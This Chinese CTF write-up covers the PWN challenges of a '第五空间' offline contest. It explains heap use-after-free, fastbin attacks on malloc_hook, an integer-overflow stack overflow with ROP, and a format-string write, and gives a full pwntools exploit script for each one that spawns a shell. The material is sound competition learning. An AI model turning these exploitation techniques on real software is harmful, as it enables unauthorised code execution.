“第五空间”网络安全线下赛PWN部分WRITEUP
最近参加了“第五空间”网络安全线下赛,这次比赛以PWN为主,有几个比较典型的基础题。当时比赛的远程libc不方便加载调试,本人用本地libc进行复盘,写了一份writeup。
题目链接:http://47.95.238.45:8001/space5.zip
程序保护全开,应该用one_gadget获得shell。
标准的菜单题,有add、show、edit、delete功能,漏洞位于delete函数,是一个Use After Free漏洞:
第一步:先创建unsortedbin大小的chunk,free掉,然后再show,就能泄露libc地址。
第二步:free掉0x71大小的chunk,篡改此chunk的fd指针到malloc_hook-0x23处,然后add两次,就能修改malloc_hook为one_gadget地址。也就是fastbin attack。
完整脚本如下
from pwn import * context.log_level='debug' r=process('./pwn1x') def add(size): r.recvuntil('>>') r.sendline('1') r.recvuntil(':') r.sendline(str(size)) def show(idx): r.recvuntil('>>') r.sendline('2') r.recvuntil(':') r.sendline(str(idx)) def edit(idx,cont): r.recvuntil('>>') r.sendline('3') r.recvuntil(':') r.sendline(str(idx)) r.recvuntil(':') r.sendline(cont) def delete(idx): r.recvuntil('>>') r.sendline('4') r.recvuntil(':') r.sendline(str(idx)) add(0x60)#0 add(0x60)#1 add(0x60)#2 add(0xa0)#3 add(0x60)#4 add(0x60)#5 delete(3) show(3) r.recvuntil(':') leak=u64(r.recv(6).ljust(8,'\x00')) success(hex(leak)) mallochook=leak-0x68 lbase=leak-0x3c3b78 one=lbase+0xf0897 delete(0) edit(0,p64(mallochook-0x23)) add(0x60)#6 add(0x60)#7 edit(7,'z'*0x13+p64(one)) add(0x30)#8 r.interactive()
32位程序,提供了system函数:
注意到sub_80485e8函数,调用sub_80485ab获得整数nbytes,但是nbytes接下来作为signed int进行比较,如果nbytes是0xffffffff识别为-1,就满足了-1<=10,但read时识别为大整数。因此存在整数溢出漏洞,可以在read时候造成栈溢出,接下来只需做常规ROP getshell。
完整脚本如下
from pwn import * context.log_level='debug' r=process('./pwn3x') sys=0x8048440 sh=0x804a04c r.recvuntil(':') r.sendline('/bin/sh\0') r.recvuntil(':') r.sendline('1') r.recvuntil(':') r.sendline('-1') r.recvuntil('\n') r.sendline('a'*0x50+p32(0xffffffff)+'b'*0xc+p32(sys)+p32(0)+p32(sh)) r.interactive()
32位菜单堆题:
add进行两次malloc,第一次malloc是把函数指针存放到chunk上,第二次是输入content。
delete将两个chunk释放,存在UAF漏洞:
show调用了chunk的函数指针,从而调用puts函数:
show调用的指针,默认指向如下函数:
每条记录的数据结构是:
a: void *func=0x80491f2;
char *pointtocont=b;
b: char [size];
创建两条content大小为0x20的记录,0号和1号,然后全都delete,得到4个fastbin chunk,如下图。
0a表示0号的指针块,0b表示0号的content块,1号同理。
接下来,只要malloc两个size=0x10的chunk,也就是做add(8,’xxxx’),就能把0a和1a串起来,1a的pointtocont指向0a,就能向0a写数据。
篡改0a的pointtocont指针指向GOT表,就能泄露函数地址,我们选择泄露puts的GOT表,得到libc地址,计算出system地址。
篡改0a的func指向system,后面跟’;sh’,利用bash分号的特性,实际上:
printnote的时候调用system(‘xxxxxxxx;sh’),就能getshell。
完整脚本如下
from pwn import * context.log_level='debug' r= process('./pwn4x') def addnote(size,content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content) def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) got_puts=0x804c024 func=0x80491f2 addnote(32,"0"*4)#0 addnote(32,"1"*4)#1 addnote(32,"2"*4)#2 delnote(0) delnote(1) addnote(8,p32(func)+p32(got_puts))#3 printnote(0) r.recvuntil(':') puts=u32(r.recv(4)) success(hex(puts)) sys=puts-0xf7d9eb80+0xf7d79d80 delnote(3) addnote(8,p32(sys)+';sh')#4 printnote(0) r.interactive()
32位程序,存在格式化字符串漏洞,直接向unk_804c044写特定数,然后输入同样的数,即可getshell。
完整脚本如下```python
from pwn import *
context.log_level='debug'
r=process('./pwn5x')
target=0x804c044
pay=p32(target)+p32(target+1)+p32(target+2)+p32(target+3)+'%10$hhn%11$hhn%12$hhn%13$hhn'
r.recvuntil(':')
r.sendline(pay)
r.recvuntil(':')
r.sendline(str(0x10101010))
r.interactive()
```